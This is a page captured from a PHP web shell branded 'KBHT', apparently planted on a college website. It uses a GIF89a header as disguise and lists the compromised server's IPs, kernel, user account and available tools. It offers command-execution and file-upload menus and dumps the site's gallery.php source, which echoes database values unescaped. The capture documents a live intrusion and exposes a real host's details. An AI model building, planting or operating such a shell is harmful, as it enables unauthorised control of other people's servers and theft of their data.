GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 3.145.93.227
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/css/../js/../js/../

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/css/../js/../js/../gallery.php
	<?php
		include("admin/connection.php");
		$query="select * from tbl_gallery";
		$res=mysqli_query($dbCon,$query);
	?>


	<!-- Header Start -->
	<?php
		include("headernew.php");
	?>
	<!-- Header End -->


	<!-- Inner Banner Wrapper Start -->
		<div class="inner-banner">
			<div class="container">
				<div class="col-sm-12">
					<h2>College Gallery</h2>
				</div>
				<div class="col-sm-12 inner-breadcrumb">
					<ul>
						<li><a href="index.html">Home</a></li>
						<li>Gallery</li>
					</ul>
				</div>
			</div>
		</div>
	<!-- Inner Banner Wrapper End -->

	<section class="inner-wrapper">
		<div class="container">
			<div class="row">
				<div class="inner-wrapper-main">
					<div class="container gal-container">
						<?php
						$cnt=1;
							while($row=mysqli_fetch_array($res,MYSQLI_BOTH))
						{
						?>
						<div class="col-md-4 col-sm-6 co-xs-12 gal-item">
							<div class="box"> <a href="javascript:void(0)" data-toggle="modal" data-target="#<?php echo $cnt;?>">
								<div class="caption">
									<h4><?php echo $row['text1'];?></h4>
									<p><?php echo $row['text2'];?></p>
									<i class="fa fa-search" aria-hidden="true"></i>
								</div>
								<img src="admin/gallery/<?php echo $row['pic'];?>" alt="Gallery Image"> </a>
								<div class="modal fade" id="<?php echo $cnt;?>" tabindex="-1" role="dialog">
									<div class="modal-dialog" role="document">
										<div class="modal-content">
											<button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true">×</span></button>
											<div class="modal-body">
												<img src="admin/gallery/<?php echo $row['pic'];?>" alt="Gallery Image">
											</div>
											<div class="col-md-12 description">
												<h4><?php echo $row['text2'];?></h4>
											</div>
										</div>
									</div>
								</div>
							</div>
						</div>
						<?php
							$cnt++;
							}
						?>
					</div>
				</div>
			</div>
		</div>
	</section>

	<!-- Header Start -->
		<?php
			include("footernew.php");
		?>
	<!-- Header End -->

KBHT - 2023